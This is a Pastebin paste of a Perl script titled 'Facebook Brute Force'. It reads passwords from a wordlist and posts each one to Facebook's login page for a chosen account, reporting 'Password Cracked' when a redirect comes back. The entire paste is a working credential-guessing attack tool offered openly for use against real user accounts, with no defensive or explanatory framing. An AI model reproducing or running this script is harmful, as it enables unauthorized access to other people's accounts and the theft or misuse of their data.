Advertisement
Guest User

Untitled

a guest
Jun 16th, 2016
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.45 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Facebook Brute Force : ./Gnome
  3. #Kung i-leleech nyo to nakakahiya ka at parang trinaidor mo lang kme :D
  4.  
  5. use strict;
  6. use Net::SSLeay::Handle;
  7.  
  8. if(!defined($ARGV[0] && $ARGV[1])) {
  9.  
  10. system('cls');
  11. print "=====================================\n";
  12. print "Usage: perl $0 login wordlist.txt\n";
  13. print "=====================================\n";
  14. exit; }
  15.  
  16. my $user = $ARGV[0];
  17. my $wordlist = $ARGV[1];
  18.  
  19. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  20.  
  21. print "\n[+] Cracking Started on: $user ...\n\n";
  22. print "=======================================\n";
  23.  
  24. while (my $password = <LIST>) {
  25. chomp ($password);
  26. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  27.  
  28. my $a = "POST /login.php HTTP/1.1";
  29. my $b = "Host: www.facebook.com";
  30. my $c = "Connection: close";
  31. my $e = "Cache-Control: max-age=0";
  32. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  33. my $g = "Origin: https://www.facebook.com";
  34. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  35. my $i = "Content-Type: application/x-www-form-urlencoded";
  36. my $j = "Accept-Encoding: gzip,deflate,sdch";
  37. my $k = "Accept-Language: en-US,en;q=0.8";
  38. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  39.  
  40. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  41. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  42. my $cl = length($post);
  43. my $d = "Content-Length: $cl";
  44.  
  45.  
  46. my ($host, $port) = ("www.facebook.com", 443);
  47.  
  48. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  49.  
  50.  
  51. print SSL "$a\n";
  52. print SSL "$b\n";
  53. print SSL "$c\n";
  54. print SSL "$d\n";
  55. print SSL "$e\n";
  56. print SSL "$f\n";
  57. print SSL "$g\n";
  58. print SSL "$h\n";
  59. print SSL "$i\n";
  60. print SSL "$j\n";
  61. print SSL "$k\n";
  62. print SSL "$l\n";
  63. print SSL "$cookie\n\n";
  64.  
  65. print SSL "$post\n";
  66.  
  67. my $success;
  68. while(my $result = <SSL>){
  69. if($result =~ /Location(.*?)/){
  70. $success = $1;
  71. }
  72. }
  73. if (!defined $success)
  74. {
  75. print "\033[1;31m[-] $password -> Failed \n";
  76. close SSL;
  77. }
  78. else
  79. {
  80. print "\033[1;32m\n########################################################\n";
  81. print "[+] \033[1;32mPassword Cracked: $password\n";
  82. print "\033[1;32m########################################################\n\n";
  83. close SSL;
  84. exit;
  85. }
  86. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement